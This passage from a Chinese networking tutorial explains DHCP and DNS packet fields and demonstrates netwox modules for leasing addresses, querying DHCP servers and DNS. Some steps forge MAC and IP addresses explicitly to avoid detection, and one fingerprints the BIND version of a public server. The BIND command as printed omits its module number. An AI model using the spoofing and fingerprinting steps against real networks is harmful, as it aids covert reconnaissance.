该数据包是客户端向服务器发送的DHCP Discover数据包。在图中,由于当前客户端还没有IP地址,所以源IP地址为0.0.0.0;客户端是向网络中所有服务器进行发送,使用的是广播包,所以目标IP地址为255.255.255.255。在Bootstrap Protocol(Discover)部分中显示了该数据包报文的每个字段。

为了方便讲解,下面将报文字段列出并标注如下: 

Bootstrap Protocol (Discover)
Message type: Boot Request (1) #报文的操作类型,这是一个请求包,所以该选项的值为1
Hardware type: Ethernet (0x01) #硬件类型为Ethernet
Hardware address length: 6 #硬件地址长度为6
Hops: 0 #经过DHCP中继数为0
Transaction ID: 0x597c6b82 #事务ID
Seconds elapsed: 0 #客户端启动时间
Bootp flags: 0x0000 (Unicast) #BOOTP标识字段
Client IP address: 0.0.0.0 #客户端IP地址
Your (client) IP address: 0.0.0.0 #服务器分配给自己的IP地址
Next server IP address: 0.0.0.0 #下一个服务器的IP地址
Relay agent IP address: 0.0.0.0 #DHCP中继器的IP地址
Client MAC address: Vmware_db:3f:0a (00:0c:29:db:3f:0a) #客户端的MAC地址
Client hardware address padding: 00000000000000000000 #客户端硬件地址填充
Server host name not given #服务器主机名
Boot file name not given #启动文件名
Magic cookie: DHCP #与BOOTP兼容
Option: (53) DHCP Message Type (Discover) #DHCP消息类型为53
Length: 1
DHCP: Discover (1) #发现包
Option: (61) Client identifier #客户端标识符
Length: 7
Hardware type: Ethernet (0x01) #硬件类型为Ethernet
Client MAC address: Vmware_db:3f:0a (00:0c:29:db:3f:0a) #客户端MAC地址
Option: (50) Requested IP Address #请求IP地址
Length: 4
Requested IP Address: 192.168.0.108 #请求的IP地址
Option: (12) Host Name #客户端主机名
Length: 15
Host Name: WIN-RKPKQFBLG6C #主机名
Option: (60) Vendor class identifier #供应商类标识符
Length: 8
Vendor class identifier: MSFT 5.0 #供应商标识符为MSFT 5.0
Option: (55) Parameter Request List #参数请求列表
Length: 12
Parameter Request List Item: (1) Subnet Mask #子网掩码
Parameter Request List Item: (15) Domain Name #域名
Parameter Request List Item: (3) Router #路由
Parameter Request List Item: (6) Domain Name Server #域名服务
Parameter Request List Item: (44) NetBIOS over TCP/IP Name Server #NetBIOS名称服务
Parameter Request List Item: (46) NetBIOS over TCP/IP Node Type #NetBIOS节点类型
Parameter Request List Item: (47) NetBIOS over TCP/IP Scope #NetBIOS作用范围
Parameter Request List Item: (31) Perform Router Discover #完成路由发现
Parameter Request List Item: (33) Static Route #静态路由
Parameter Request List Item: (121) Classless Static Route #无类静态路由
Parameter Request List Item: (249) Private/Classless Static Route
(Microsoft) #私有静态路由
Parameter Request List Item: (43) Vendor-Specific Information #供应商特定信息
Option: (255) End
Option End: 255
Padding: 000000000000000000000000

上述输出信息显示了DHCP Discover报文中相关字段的信息。可以看到客户端的IP地址为0.0.0.0,MAC地址为00:0c:29:db:3f:0a,主机名为WIN-RKPKQFBLG6C,事务ID为0x597c6b82等信息。

2)DHCP Offer报文

DHCP Offer报文数据包如图所示:

该数据包是DHCP服务器收到客户端DHCP Discover广播包后返回的DHCP Offer包。

报文字段信息如下: 

Bootstrap Protocol (Offer)
Message type: Boot Reply (2) #报文的操作类型,这是一个响应包,所以该选项的值为2
Hardware type: Ethernet (0x01)
Hardware address length: 6
Hops: 0
Transaction ID: 0x597c6b82 #事务ID
Seconds elapsed: 0
Bootp flags: 0x0000 (Unicast)
Client IP address: 0.0.0.0
Your (client) IP address: 192.168.0.108 #服务器分配给客户端的IP地址
Next server IP address: 0.0.0.0
Relay agent IP address: 0.0.0.0
Client MAC address: Vmware_db:3f:0a (00:0c:29:db:3f:0a)
Client hardware address padding: 00000000000000000000
Server host name not given
Boot file name not given
Magic cookie: DHCP
Option: (53) DHCP Message Type (Offer)
Length: 1
DHCP: Offer (2)
Option: (54) DHCP Server Identifier
Length: 4
DHCP Server Identifier: 192.168.0.1 #DNS服务器标识地址为192.168.0.1
Option: (51) IP Address Lease Time
Length: 4
IP Address Lease Time: (7200s) 2 hours
Option: (1) Subnet Mask #服务器分配给客户端的子网掩码
Length: 4
Subnet Mask: 255.255.255.0 #子网掩码为255.255.255.0
Option: (3) Router
Length: 4
Router: 192.168.0.1
Option: (6) Domain Name Server
Length: 4
Domain Name Server: 192.168.0.1
Option: (255) End
Option End: 255
Padding: 000000000000000000000000000000000000000000000000...

其中只标注了几个重要字段的信息。由于是DHCP服务器给DHCP客户端发送提供的地址信息。因此,报文中应该包含DHCP服务器提供给客户端的IP地址信息,这里为192.168.0.108;提供给客户端的子网掩码信息这里为255.255.255.0。事务ID为0x597c6b82,与DHCP Discover报文中的事务ID相同,因此属于同一请求地址过程。

另外,可以看到服务器标识地址为192.168.0.1,所以捕获的数据包的源IP地址为192.168.0.1。目标地址为提供的IP地址192.168.0.108。

3)DHCP Request报文

DHCP Request报文数据包如图所示:

DHCP Request报文数据包是DHCP客户端向网络中所有DHCP服务器主机发出的DHCP Request消息。由于此时客户端还没有真正拥有IP地址,因此源IP地址仍然为0.0.0.0,该数据包是用来通知所有服务器的,以广播形式发出,因此目标IP地址为255.255.255.255。

报文字段信息如下: 

Bootstrap Protocol (Request)
Message type: Boot Request (1) #报文的操作类型,这是一个请求包,所以该选项的值为1
Hardware type: Ethernet (0x01)
Hardware address length: 6
Hops: 0
Transaction ID: 0x597c6b82 #事务ID
Seconds elapsed: 0
Bootp flags: 0x0000 (Unicast)
Client IP address: 0.0.0.0 #客户端IP地址
Your (client) IP address: 0.0.0.0
Next server IP address: 0.0.0.0
Relay agent IP address: 0.0.0.0
Client MAC address: Vmware_db:3f:0a (00:0c:29:db:3f:0a)
Client hardware address padding: 00000000000000000000
Server host name not given
Boot file name not given
Magic cookie: DHCP
Option: (53) DHCP Message Type (Request)
Length: 1
DHCP: Request (3)
Option: (61) Client identifier
Length: 7
Hardware type: Ethernet (0x01)
Client MAC address: Vmware_db:3f:0a (00:0c:29:db:3f:0a)
Option: (50) Requested IP Address
Length: 4
Requested IP Address: 192.168.0.108 #客户端选择租用的IP地址为192.168.0.108
… #省略部分信息

其中,事务ID与DHCP Discover、DHCP Offer阶段的事务ID相同,从输出信息还可以看到客户端请求的IP地址为192.168.0.108,表示要向该DHCP服务器租用地址。

4)DHCP ACK报文

DHCP ACK报文数据包如图所示:

DHCP ACK数据包是DHCP服务器给客户端发送的确认数据包。

报文字段信息如下: 

Bootstrap Protocol (ACK)
Message type: Boot Reply (2) #报文的操作类型,这是一个响应包,所以该选项的值为2
Hardware type: Ethernet (0x01)
Hardware address length: 6
Hops: 0
Transaction ID: 0x597c6b82 #事务ID
Seconds elapsed: 0
Bootp flags: 0x0000 (Unicast)
Client IP address: 0.0.0.0
Your (client) IP address: 192.168.0.108 #客户端可以使用的IP地址为192.168.0.108
Next server IP address: 0.0.0.0
Relay agent IP address: 0.0.0.0
Client MAC address: Vmware_db:3f:0a (00:0c:29:db:3f:0a)
Client hardware address padding: 00000000000000000000
Server host name not given
Boot file name not given
Magic cookie: DHCP
Option: (53) DHCP Message Type (ACK)
Length: 1
DHCP: ACK (5)
Option: (54) DHCP Server Identifier
Length: 4
DHCP Server Identifier: 192.168.0.1
Option: (51) IP Address Lease Time
Length: 4
IP Address Lease Time: (7200s) 2 hours
Option: (1) Subnet Mask #客户端可以使用的子网掩码
Length: 4
Subnet Mask: 255.255.255.0 #子网掩码为255.255.255.0
Option: (3) Router
Length: 4
Router: 192.168.0.1
Option: (6) Domain Name Server
Length: 4
Domain Name Server: 192.168.0.1
Option: (255) End
Option End: 255
Padding: 000000000000000000000000000000000000000000000000...

以上输出信息是服务器给客户端提供租约地址的确认包。其中,客户端可以使用的租约IP地址为192.168.0.108;可以使用的子网掩码为255.255.255.0。

6. DHCP协议应用-获取IP地址

默认情况下,都是由操作系统完成IP地址请求过程的。用户也可以手动请求IP地址。netwox工具提供了编号为171的模块,它可以充当DHCP客户端向DHCP服务器请求IP地址。

模拟DHCP客户端从DHCP服务器获取IP地址。

执行命令如下:

root@daxueba:~# netwox 171

执行命令后将完成获取IP地址的整个过程,并输出每个过程相关的信息。为了方便讲解,下面将信息进行拆分,然后分别讲解。

(1)发现阶段的输出信息如下:

I send a DISCOVER:
DHCP____________________________________________________________.
| op=request hops=0 xid=B8ED8552 secs=0 flags=0000 |
| client=0.0.0.0 your=0.0.0.0 |
| server=0.0.0.0 agent=0.0.0.0 |
| clienteth=00:0C:29:FD:DE:B8 |
| sname: |
| file: |
| msgtype: discover |
| clientidtype: 1 |
| clientid: 000c29fddeb8 |
| reqlist[0]: 1 (subnetmask) |
#下面为客户端要请求的列表信息
| reqlist[1]: 3 (gateways) |
| reqlist[2]: 4 (timeservers) |
| reqlist[3]: 5 (nameservers) |
| reqlist[4]: 6 (dnsservers) |
| reqlist[5]: 7 (logservers) |
| reqlist[6]: 9 (lprservers) |
| reqlist[7]: 12 (hostname) |
| reqlist[8]: 15 (domainname) |
| reqlist[9]: 28 (broadcastad) |
| reqlist[10]: 31 (performroutdisc) |
| reqlist[11]: 33 (staticroutes) |
| reqlist[12]: 40 (nisdomain) |
| reqlist[13]: 41 (nisservers) |
| reqlist[14]: 51 (ipadleasetime) |
| reqlist[15]: 58 (renewaltime) |
| reqlist[16]: 59 (rebindingtime) |
| reqlist[17]: 64 (nispdomain) |
| reqlist[18]: 65 (nispserver) |
| reqlist[19]: 69 (smtpservers) |
| reqlist[20]: 70 (pop3servers) |
| reqlist[21]: 71 (nntpservers) |
| reqlist[22]: 72 (wwwservers) |
| reqlist[23]: 74 (ircservers) |
|___________________________________________________________ |

以上输出信息中,第1行表示客户端发送了一个Discover包,用来向服务器请求租用的IP地址。下面的信息为对应的报文信息。其中,xid表示事务ID为B8ED8552,client表示客户端IP地址为0.0.0.0,your表示此时客户端还没有IP地址,因此也为0.0.0.0。

(2)提供阶段的输出信息如下:

Server sent us this OFFER:
DHCP____________________________________________________________.
| op=reply hops=0 xid=B8ED8552 secs=0 flags=0000 |
| client=0.0.0.0 your=192.168.59.131 |
| server=192.168.59.254 agent=0.0.0.0 |
| clienteth=00:0C:29:FD:DE:B8 |
| sname: |
| file: |
| msgtype: offer |
| serverid: 192.168.59.254 |
| ipadleasetime: 1800 |
| subnetmask: 255.255.255.0 | #子网掩码
| gateways[0]: 192.168.59.2 | #网关
| dnsservers[0]: 192.168.59.2 | #DNS服务器地址
| domainname: 'localdomain' | #域名
| broadcastad: 192.168.59.255 | #广播地址
| renewaltime: 900 | #更新时间
| rebindingtime: 1575 | #重新连接时间
| end |
|_____________________________________________________ |
Server 192.168.59.254(00:50:56:ED:87:BC) proposes address 192.168.59.131

以上输出信息中,第1行表示服务器向客户端返回了提供IP地址租约的数据包。下面的信息为对应的报文信息。

其中,xid表示事务ID为B8ED8552,与发现阶段事务ID相同;your表示服务器给客户端提供的IP地址为192.168.59.131;server表示此时服务器的IP地址为192.168.59.254。从输出信息中还可以看到服务器为客户端提供的子网掩码、网关、DNS服务器地址等信息。输出信息的最后一行为总结信息,表示服务器192.168.59.254为客户端提供的IP地址为192.168.59.131。

(3)选择阶段的输出信息如下:

I accept previous OFFER:
DHCP____________________________________________________________.
| op=request hops=0 xid=B8ED8552 secs=0 flags=0000 |
| client=0.0.0.0 your=0.0.0.0 |
| server=0.0.0.0 agent=0.0.0.0 |
| clienteth=00:0C:29:FD:DE:B8 |
| sname: |
| file: |
| msgtype: request |
| clientidtype: 1 |
| clientid: 000c29fddeb8 |
| requestedipad: 192.168.59.131 | #选择请求的IP地址
| serverid: 192.168.59.254 | #服务器IP地址
| reqlist[0]: 1 (subnetmask) | #下面为请求的其他信息
| reqlist[1]: 3 (gateways) |
| reqlist[2]: 4 (timeservers) |
| reqlist[3]: 5 (nameservers) |
| reqlist[4]: 6 (dnsservers) |
| reqlist[5]: 7 (logservers) |
| reqlist[6]: 9 (lprservers) |
| reqlist[7]: 12 (hostname) |
| reqlist[8]: 15 (domainname) |
| reqlist[9]: 28 (broadcastad) |
| reqlist[10]: 31 (performroutdisc) |
| reqlist[11]: 33 (staticroutes) |
| reqlist[12]: 40 (nisdomain) |
| reqlist[13]: 41 (nisservers) |
| reqlist[14]: 51 (ipadleasetime) |
| reqlist[15]: 58 (renewaltime) |
| reqlist[16]: 59 (rebindingtime) |
| reqlist[17]: 64 (nispdomain) |
| reqlist[18]: 65 (nispserver) |
| reqlist[19]: 69 (smtpservers) |
| reqlist[20]: 70 (pop3servers) |
| reqlist[21]: 71 (nntpservers) |
| reqlist[22]: 72 (wwwservers) |
| reqlist[23]: 74 (ircservers) |
|_________________________________________________ |

以上输出信息中,第1行表示客户端接收了服务器提供的地址租约,下面的信息为对应的报文信息。

其中,xid表示事务ID为B8ED8552;由于客户端选择了要请求的IP地址,但是没有真正获取到
IP地址,因此client和your均为0.0.0.0;requestedipad表示客户端选择的IP地址为192.168.59.131。serverid表示服务器的IP地址为192.168.59.254。

(4)确认阶段的输出信息如下:

Server sent us this ACK:
DHCP____________________________________________________________.
| op=reply hops=0 xid=B8ED8552 secs=0 flags=0000 |
| client=0.0.0.0 your=192.168.59.131 |
| server=192.168.59.254 agent=0.0.0.0 |
| clienteth=00:0C:29:FD:DE:B8 |
| sname: |
| file: |
| msgtype: ack |
| serverid: 192.168.59.254 |
| ipadleasetime: 1800 |
| subnetmask: 255.255.255.0 | #客户端的子网掩码
| gateways[0]: 192.168.59.2 | #客户端的网关
| dnsservers[0]: 192.168.59.2 | #客户端的DNS服务器
| domainname: 'localdomain' |
| broadcastad: 192.168.59.255 |
| renewaltime: 900 |
| rebindingtime: 1575 |
| end |
|_________________________________________________ |
Server 192.168.59.254(00:50:56:ED:87:BC) gave address 192.168.59.131
Press q to quit.

以上输出信息中,第1行表示服务器确认了客户端要租约的IP地址信息,客户端可以使用请求的IP地址了。

下面的信息为对应的报文信息。其中,your表示客户端可以租用的IP地址为192.168.59.131;其他信息给出了客户端使用的子网掩码、网关、DNS服务器地址等。输出的最后一行信息表示用户可以使用快捷键q退出。如果退出,则客户端将不再租用这个IP地址,会释放该地址。

(5)为了确认模拟客户端从服务器上是否获取到了IP地址,可以通过抓包进行验证。

如图所示,其中的4个数据包就是获取IP地址的4个阶段的数据包。

 (6)如果使用了快捷键q退出,将产生释放地址的数据包。

输出信息如下:

I RELEASE the address:
DHCP__________________________________________________________.
| op=request hops=0 xid=CC6236A1 secs=0 flags=0000 |
| client=192.168.59.131 your=0.0.0.0 |
| server=0.0.0.0 agent=0.0.0.0 |
| clienteth=00:0C:29:FD:DE:B8 |
| sname: |
| file: |
| msgtype: release |
| serverid: 192.168.59.254 |
| clientidtype: 1 |
| clientid: 000c29fddeb8 |
|___________________________________________________________ |

以上输出信息,第1行表示客户端释放了IP地址。下面的信息为对应的报文信息。其中,xid的值为CC6236A1,这与获取IP地址时所产生的事务ID不同;client表示客户端要释放的IP地址为192.168.59.131。

(7)通过抓包捕获的释放地址数据包如图所示。

(8)从DHCP服务器上获取IP地址时,为了隐藏真实的MAC地址,可以伪造虚假MAC地址。

例如,设置假MAC地址为01:02:03:A1:A2:A3。执行命令如下:

root@daxueba:~# netwox 171 -e 01:02:03:a1:a2:a3

输出信息如下:

I send a DISCOVER:
DHCP____________________________________________________________.
| op=request hops=0 xid=BDC49614 secs=0 flags=0000 |
| client=0.0.0.0 your=0.0.0.0 |
| server=0.0.0.0 agent=0.0.0.0 |
| clienteth=01:02:03:A1:A2:A3 |
··· #省略其他信息

从输出信息报文中可以看到,此时客户端的MAC地址为假的地址01:02:03:A1:A2:A3。

7. DHCP协议应用-获取DHCP服务器信息

如果客户端有了IP地址,将不再发送DHCP Discover包。这时,如果要获取网络内DHCP服务器信息,可以使用netwox提供的编号为179的模块来实现。该模块通过向DHCP服务器广播发送一个DHCP INFORM包,以获取相关的配置参数。

DHCP服务器接收到该数据包后,将根据租约查找相应的配置信息,并返回一个DHCP ACK消息。该消息包括相应的客户配置参数,但不包括分配的网络地址。

获取DHCP服务器详细的网络配置信息,执行命令如下:

root@daxueba:~# netwox 179

执行命令后将向DHCP服务器广播发送INFORM报文,同时会得到DHCP服务器返回的ACK报文。为了方便讲解,下面将信息进行拆分后分别讲解。

(1)发送的INFORM报文信息的输出信息如下:

I send a INFORM:
DHCP____________________________________________________________.
| op=request hops=0 xid=52FEF936 secs=0 flags=0000 |
| client=192.168.59.133 your=0.0.0.0 |
| server=0.0.0.0 agent=0.0.0.0 |
| clienteth=00:0C:29:FD:DE:B8 | #客户端MAC地址
| sname: |
| file: |
| msgtype: inform |
| clientidtype: 1 |
| clientid: 000c29fddeb8 |
| reqlist[0]: 1 (subnetmask) | #请求的网络配置信息
| reqlist[1]: 3 (gateways) |
| reqlist[2]: 4 (timeservers) |
| reqlist[3]: 5 (nameservers) |
| reqlist[4]: 6 (dnsservers) |
| reqlist[5]: 7 (logservers) |
| reqlist[6]: 9 (lprservers) |
| reqlist[7]: 12 (hostname) |
| reqlist[8]: 15 (domainname) |
| reqlist[9]: 28 (broadcastad) |
| reqlist[10]: 31 (performroutdisc) |
| reqlist[11]: 33 (staticroutes) |
| reqlist[12]: 40 (nisdomain) |
| reqlist[13]: 41 (nisservers) |
| reqlist[14]: 51 (ipadleasetime) |
| reqlist[15]: 58 (renewaltime) |
| reqlist[16]: 59 (rebindingtime) |
| reqlist[17]: 64 (nispdomain) |
| reqlist[18]: 65 (nispserver) |
| reqlist[19]: 69 (smtpservers) |
| reqlist[20]: 70 (pop3servers) |
| reqlist[21]: 71 (nntpservers) |
| reqlist[22]: 72 (wwwservers) |
| reqlist[23]: 74 (ircservers) |
|_______________________________________________ |

以上输出信息中,第1行表示DHCP客户端向DHCP服务器发送了INFORM报文,用来请求网络配置信息。

下面的信息为报文包含的信息。其中,xid表示事务ID为52FEF936;client表示当前客户端的IP地址为192.168.59.133;clienteth表示当前客户端的MAC地址为00:0C:29:FD:DE:B8。

(2)客户端收到DHCP服务器返回的ACK报文,并输出如下信息:

Server sent us this ACK:
DHCP____________________________________________________________.
| op=reply hops=0 xid=52FEF936 secs=0 flags=0000 |
| client=192.168.59.133 your=0.0.0.0 |
| server=192.168.59.254 agent=0.0.0.0 |
| clienteth=00:0C:29:FD:DE:B8 |
| sname: |
| file: |
| msgtype: ack |
| serverid: 192.168.59.254 | #服务器IP地址
| subnetmask: 255.255.255.0 | #子网掩码
| gateways[0]: 192.168.59.2 | #网关
| dnsservers[0]: 192.168.59.2 | #DNS服务地址
| domainname: 'localdomain' | #域名
| broadcastad: 192.168.59.255 | #广播地址
| end |
|____________________________________________________ |

以上输出信息中,第1行表示DHCP返回了ACK报文。其中,xid的值也为52FEF936,子网掩码为255.255.255.0,网关为192.168.59.2。

(3)为了验证该命令发送的数据包,下面通过抓包进行查看,如图所示。

在获取DHCP服务器信息时,为了避免被发现,可以伪造IP地址和MAC地址。例如,设置IP地址为192.168.59.150,MAC地址为b1:b2:b3:0a:1a:3a。

执行命令如下:

root@daxueba:~# netwox 179 -i 192.168.59.150 -e b1:b2:b3:0a:1a:3a

输出信息如下:

I send a INFORM:
DHCP____________________________________________________________.
| op=request hops=0 xid=5D72AD9C secs=0 flags=0000 |
| client=192.168.59.150 your=0.0.0.0 |
| server=0.0.0.0 agent=0.0.0.0 |
| clienteth=B1:B2:B3:0A:1A:3A
… #省略其他信息

其中,客户端的IP地址为伪造的地址192.168.59.150,客户端的MAC地址为伪造的址B1:B2:B3:0A:1A:3A。

3、DNS协议

1. 域名系统(Domain Name System)

域名系统(Domain Name System,DNS)是将域名转化为IP地址的网络协议。当用户在浏览器中输入域名后,浏览器会向DNS服务器发送DNS请求,获取指定域名的IP地址。DNS服务器收到请求包后,会发送响应包,返回对应的IP地址。浏览器根据响应包中的IP地址,访问对应的网站。

2. 域名(Domain Name)

域名是用来表示Internet上某个计算机或计算机组的名称,用于在数据传输时标识计算机的地理位置。

1)域名的作用

在TCP/IP网络中,计算机要进行通信首先需要从DHCP服务器上获取IP地址,然后基于IP地址进行通信。由于IP地址是由一串数字序列组成,所以难以记忆。并且,计算机的IP地址往往不是固定的,是经常变化的。

因此,直接使用IP地址进行通信有很多不便之处。为了避免这些不便,可以为每台计算机赋予唯一的名称,即域名。计算机之间可以使用域名进行通信。

2)域名的结构

一个完整的域名由2个或2个以上的部分组成,各部分之间用英文的句号.来分隔,每个部分的长度限制是63个字符,域名总长度则不能超过253个字符。

3)域名的分类

因特网采用层次结构的命名树作为主机的名字,并使用分布式的域名系统 DNS。名字到 IP 地址的解析是由若干个域名服务器程序完成的,域名服务器程序在专设的结点上运行,运行该程序的机器称为域名服务器。

域名系统采用层次结构按地理域或机构域进行分层,用小数点将各个层次隔开,从右到左依次为最高域名段、次高域名段等,最左的一个字段为主域名(主机名)。所以,域名可以按照级别和类型进行分类。

(1)域名级别

由于域名是使用.进行分隔的,所以通过.对域名进行级别分类。

最后一个.的右边部分称为顶级域名(TLD,也称为一级域名),左边部分称为二级域名(SLD);二级域名的左边部分称为三级域名,以此类推。每一级的域名控制它下一级域名的分配。

例如,163.com是一级域名,而house.163.com是二级域名。

(2)域名类型

由于域名是用来标识唯一的名称,因此可以通过类型进行分类。

常见的域名及对应关系如下:

  • 国际域名:.com、.top、.net、.org、.cc和.tv等。
  • 国家/地区域名:cn(中国大陆)、de(德国)、jp(日本)、hk(中国香港)、tw(中国台湾)、uk(英国)和us(美国)等。
  • 机构域名:gov(政府部门)、mil(军事部门)、com(商业性的机构或公司)等。

(3)域名空间

顶级域名 TLD (Top Level Domain):

  • 国家顶级域名 nTLD:如: .cn 表示中国,.us 表示美国,.uk 表示英国,等等。
  • 通用顶级域名 gTLD:最早的顶级域名是:
  1. .com (公司和企业)
  2. .net (网络服务机构)
  3. .org (非赢利性组织)
  4. .edu (美国专用的教育机构)
  5. .gov (美国专用的政府部门)
  6. .mil(美国专用的军事部门)
  7. .int(国际组织)
  • 基础结构域名(infrastructure domain):这种顶级域名只有一个,即 arpa,用于反向域名解析,因此又称为反向域名。
  1. .aero(航空运输企业)
  2. .biz(公司和企业)
  3. .cat(加泰隆人的语言和文化团体)
  4. .coop(合作团体)
  5. .info(各种情况)
  6. .jobs(人力资源管理者)
  7. .mobi(移动产品与服务的用户和提供者)
  8. .museum(博物馆)
  9. .name(个人)
  10. .pro(有证书的专业人员)
  11. .travel(旅游业)

3. 域名解析

域名解析就是将域名转化为对应的IP地址,该工作由DNS服务器完成。

1)DNS资源记录

在DNS服务器上,一个域名及其下级域名组成一个区域。相关的DNS信息构成一个数据库文件。所以每个区域数据库文件都是由资源记录构成的,一个资源记录就是一行文本,提供了一组有用的DNS配置信息。

常见的资源记录类型如下表所示:

2)实施DNS查询请求

用户通过浏览器访问网站,一般情况下在浏览器中输入网站的域名,浏览器向DNS服务器发送DNS请求,请求域名对应的IP地址。DNS服务器查询到IP地址以后,将IP地址返回给浏览器,浏览器通过该IP地址访问网站。

上述这些操作都是浏览器自动完成的。在请求IP地址过程中,可能会返回多个对应的IP地址,或者可以通过多个域名服务器进行解析。这些信息用户都不可能知晓。为了了解这些信息,可以使用netwox工具中编号为102的模块,实施DNS查询请求,并得到对应的信息。

已知一个DNS查询服务器的IP地址为192.168.59.2,通过该DNS服务器查询域名baidu.com的IP地址信息。

执行命令如下:

root@daxueba:~# netwox 102 -i 192.168.59.2 -n baidu.com -y a

其中,-y选项用来指定DNS资源类型,这里要根据域名查询IP地址,指定资源类型为a。执行命令后,将会发送DNS请求。若DNS服务器存在,将会返回对应的DNS响应信息,显示查询的IP地址。

为了方便介绍,下面将信息拆分分别讲解。

(1)发送的DNS请求信息如下:

DNS_question______________________________________________________.
| id=49550 rcode=OK opcode=QUERY |
| aa=0 tr=0 rd=0 ra=0 quest=1 answer=0 auth=0 add=0 |
| baidu.com. A |
|_____________________________________________________________ |

以上输出信息中的第1行表示,该部分的信息是DNS请求信息。在最后一行中,baidu.com表示进行查询的域名;A表示DNS查询所使用的类型域,获取域名对应的IPv4地址。

(2)返回的DNS响应信息,如下:

DNS_answer____________________________________________________.
| id=49550 rcode=OK opcode=QUERY |
| aa=0 tr=0 rd=1 ra=1 quest=1 answer=2 auth=5 add=5 |
| baidu.com. A |
| baidu.com. A 5 123.125.115.110 | #域名及对应的IP地址
| baidu.com. A 5 220.181.57.216 | #域名及对应的IP地址
| baidu.com. NS 5 ns2.baidu.com. | #解析域名的权威名称服务器
| baidu.com. NS 5 ns7.baidu.com. | #解析域名的权威名称服务器
| baidu.com. NS 5 ns3.baidu.com. | #解析域名的权威名称服务器
| baidu.com. NS 5 dns.baidu.com. | #解析域名的权威名称服务器
| baidu.com. NS 5 ns4.baidu.com. | #解析域名的权威名称服务器
| dns.baidu.com. A 5 202.108.22.220 | #权威名称服务器的IP地址
| ns2.baidu.com. A 5 61.135.165.235 | #权威名称服务器的IP地址
| ns3.baidu.com. A 5 220.181.37.10 | #权威名称服务器的IP地址
| ns4.baidu.com. A 5 220.181.38.10 | #权威名称服务器的IP地址
| ns7.baidu.com. A 5 180.76.76.92 | #权威名称服务器的IP地址
|_____________________________________________ |

以上输出信息中的第1行表示,该部分的信息是DNS响应信息。

下面信息为报文信息,含义如下:

  • ·rd=1:表示期待递归。
  • ·ra=1:表示服务器支持递归查询。
  • ·quest=1:表示当前有一个请求。
  • ·answer=2:表示查询的域名对应的IP地址有两个结果。
  • ·auth=5:表示查询到有5个权威名称,服务器可以解析该域名。
  • ·add=5:表示权威名称,服务器对应的IP地址信息。

从下面的输出信息可以看出,域名baidu.com有两个对应的IP地址123.125.115.110和220.181.57.216;该域名有5个权威名称服务器,如ns2.baidu.com,其对应的IP地址为61.135.165.235。

(3)为了验证成功进行了DNS查询请求,并得到了对应的IP地址信息,可以通过抓包查看,如图所示。

图中第4个数据包为实施域名请求的DNS查询数据包,源地址为192.168.59.133,是当前主机的真实IP地址,第5个数据包为对应的响应包。

3)域名的解析过程 

主机向本地域名服务器的查询一般都是采用递归查询。如果主机所询问的本地域名服务器不知道被查询域名的 IP 地址,那么本地域名服务器就以 DNS 客户的身份,向其他根域名服务器继续发出查询请求报文。

本地域名服务器向根域名服务器的查询通常是采用迭代查询。当根域名服务器收到本地域名服务器的迭代查询请求报文时,要么给出所要查询的 IP 地址,要么告诉本地域名服务器:“你下一步应当向哪一个域名服务器进行查询”,然后让本地域名服务器进行后续的查询。

本地域名服务器采用迭代查询:

本地域名服务器采用递归查询: 

域名解析具体流程如下所示:

分8个步骤介绍了域名解析的流程,每个步骤如下:

  1. 客户端通过浏览器访问域名为www.baidu.com 的网站,发起查询该域名的IP地址的DNS请求。该请求发送到了本地DNS服务器上。本地DNS服务器会首先查询它的缓存记录,如果缓存中有此条记录,就可以直接返回结果。如果没有,本地DNS服务器还要向DNS根服务器进行查询。
  2. 本地DNS服务器向根服务器发送DNS请求,请求域名为www.baidu.com 的IP地址。
  3. 根服务器经过查询,没有记录该域名及IP地址的对应关系。但是会告诉本地DNS服务器,可以到域名服务器上继续查询,并给出域名服务器的地址(.com服务器)。
  4. 本地DNS服务器向.com服务器发送DNS请求,请求域名www.baidu.com 的IP地址。
  5. .com服务器收到请求后,不会直接返回域名和IP地址的对应关系,而是告诉本地DNS服务器,该域名可以在baidu.com域名服务器上进行解析获取IP地址,并告诉baidu.com域名服务器的地址。 
  6. 本地DNS服务器向baidu.com域名服务器发送DNS请求,请求域名www.baidu.com 的IP地址。
  7. baidu.com服务器收到请求后,在自己的缓存表中发现了该域名和IP地址的对应关系,并将IP地址返回给本地DNS服务器。
  8. 本地DNS服务器将获取到与域名对应的IP地址返回给客户端,并且将域名和IP地址的对应关系保存在缓存中,以备下次别的用户查询时使用。

4)获取运行BIND的DNS服务器版本

BIND是一种开源的DNS(Domain Name System)服务器软件,包含对域名的查询和响应所需的所有功能。它是互联网上使用最广泛的一种DNS服务器。为了能够获取运行BIND软件的DNS服务器的版本,netwox提供了编号为103的模块来实现。

已知拥有BIND软件的DNS服务器的IP地址为162.248.241.94,获取该服务器的版本信息。

执行命令如下:

root@daxueba:~# netwox 162.248.241.94

输出信息如下:

9.10.3-P4-Debian

上述输出信息表示DNS服务器的版本为9.10.3-P4-Debian。

4. DNS报文格式

DNS分为查询请求和查询响应,请求和响应的报文结构基本相同。

DNS报文格式如图所示:

上图中显示了DNS的报文格式。其中,事务ID、标志、问题计数、回答资源记录数、权威名称服务器计数、附加资源记录数这6个字段是DNS的报文首部,共12个字节。整个DNS格式主要分为3部分内容,即基础结构部分、问题部分、资源记录部分。

下面将详细地介绍每部分的内容及含义:

1)基础结构部分

DNS报文的基础结构部分指的是报文首部,如图所示。

 该部分中每个字段含义如下。

  • 事务ID:DNS报文的ID标识。对于请求报文和其对应的应答报文,该字段的值是相同的。通过它可以区分DNS应答报文是对哪个请求进行响应的。
  • 标志:DNS报文中的标志字段。
  • 问题计数:DNS查询请求的数目。
  • 回答资源记录数:DNS响应的数目。
  • 权威名称服务器计数:权威名称服务器的数目。
  • 附加资源记录数:额外的记录数目(权威名称服务器对应IP地址的数目)。

基础结构部分中的标志字段又分为若干个字段,如图所示。

 标志字段中每个字段的含义如下:

  • ·QR(Response):查询请求/响应的标志信息。查询请求时,值为0;响应时,值为1。
  • ·Opcode:操作码。其中,0表示标准查询;1表示反向查询;2表示服务器状态请求。
  • ·AA(Authoritative):授权应答,该字段在响应报文中有效。值为1时,表示名称服务器是权威服务器;值为0时,表示不是权威服务器。
  • ·TC(Truncated):表示是否被截断。值为1时,表示响应已超过512字节并已被截断,只返回前512个字节。
  • ·RD(Recursion Desired):期望递归。该字段能在一个查询中设置,并在响应中返回。该标志告诉名称服务器必须处理这个查询,这种方式被称为一个递归查询。如果该位为0,且被请求的名称服务器没有一个授权回答,它将返回一个能解答该查询的其他名称服务器列表。这种方式被称为迭代查询。
  • ·RA(Recursion Available):可用递归。该字段只出现在响应报文中。当值为1时,表示服务器支持递归查询。
